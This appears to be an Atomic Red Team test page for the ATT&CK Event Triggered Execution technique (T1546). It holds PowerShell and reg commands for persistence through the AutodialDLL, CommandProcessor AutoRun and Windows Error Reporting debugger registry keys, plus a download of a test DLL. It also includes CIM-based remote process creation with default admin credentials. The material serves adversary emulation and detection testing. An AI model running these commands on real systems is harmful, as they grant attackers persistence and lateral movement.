Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001) Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware) Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.
Atomic Test #2 - HKLM - Persistence using CommandProcessor AutoRun key (With Elevation)
Atomic Test #3 - HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation)
Atomic Test #5 - Adding custom debugger for Windows Error Reporting
The DLL pointed to by the AutodialDLL registry key is loaded every time a process connects to the internet. Attackers can gain persistent code execution by setting this key to a DLL of their choice.
The sample dll provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping a web browser such as MS Edge or Chrome should result in the dll executing. Blog
Supported Platforms: Windows
auto_generated_guid: aca9ae16-7425-4b6d-8c30-cad306fdbd5b
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powershell
! Elevation Required (e.g. root or admin)1
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll
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Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value $env:windir\system32\rasadhlp.dll
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powershell
!1
if (Test-Path PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll) { exit 0} else { exit 1}
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New-Item -Type Directory "PathToAtomicsFolder\T1546\bin\" -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/bin/AltWinSock2DLL.dll" -OutFile "PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll"
An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed. reference
Supported Platforms: Windows
auto_generated_guid: a574dafe-a903-4cce-9701-14040f4f3532
| Name | Description | Type | Default Value | |——|————-|——|—————| | command | Command to Execute | string | notepad.exe|
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powershell
! Elevation Required (e.g. root or admin)1
New-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -Value "#{command}" -PropertyType "String"
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Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore
An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed. reference
Supported Platforms: Windows
auto_generated_guid: 36b8dbf9-59b1-4e9b-a3bb-36e80563ef01
| Name | Description | Type | Default Value | |——|————-|——|—————| | command | Command to Execute | string | notepad.exe|
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powershell
!1
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$path = "HKCU:\Software\Microsoft\Command Processor"
if (!(Test-Path -path $path)){
New-Item -ItemType Key -Path $path
}
New-ItemProperty -Path $path -Name "AutoRun" -Value "#{command}" -PropertyType "String"
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Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore
The following Atomic will create a New-CimSession on a remote endpoint and start a process usnig Invoke-CimMethod. This is a novel way to perform lateral movement or to start a remote process. This does require WinRM to be enabled. The account performing the run will also need to be elevated. A successful execution will stdout that the process started. On the remote endpoint, wmiprvse.exe will spawn the given process.
Supported Platforms: Windows
auto_generated_guid: adae83d3-0df6-45e7-b2c3-575f91584577
| Name | Description | Type | Default Value | |——|————-|——|—————| | dest | destination computer name | string | localhost| | password | password for account | string | P@ssword1| | username | account to use | string | Administrator| | process | process to spawn | string | calc.exe|
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powershell
! Elevation Required (e.g. root or admin)1
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# Set the remote computer name and credentials
$RemoteComputer = "#{dest}"
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
# Create a CIM session
$CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential
# Define the process you want to start
$ProcessToStart = "#{process}"
# Invoke the Create method on the Win32_Process class to start the process
$Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}
# Check the result
if ($Result.ReturnValue -eq 0) {
Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
} else {
Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
}
# Clean up the CIM session
Remove-CimSession -CimSession $CimSession
When applications hang, the Windows Error Reporting framework allows us to attach a debugger, if it is set up in the Registry. Adding executable of choice will let the executable to auto-execute when during any application crash due to functioning of WER framework
Supported Platforms: Windows
auto_generated_guid: 17d1a3cc-3373-495a-857a-e5dd005fb302
1
command_prompt
! Elevation Required (e.g. root or admin)reg add "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f
reg delete "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /f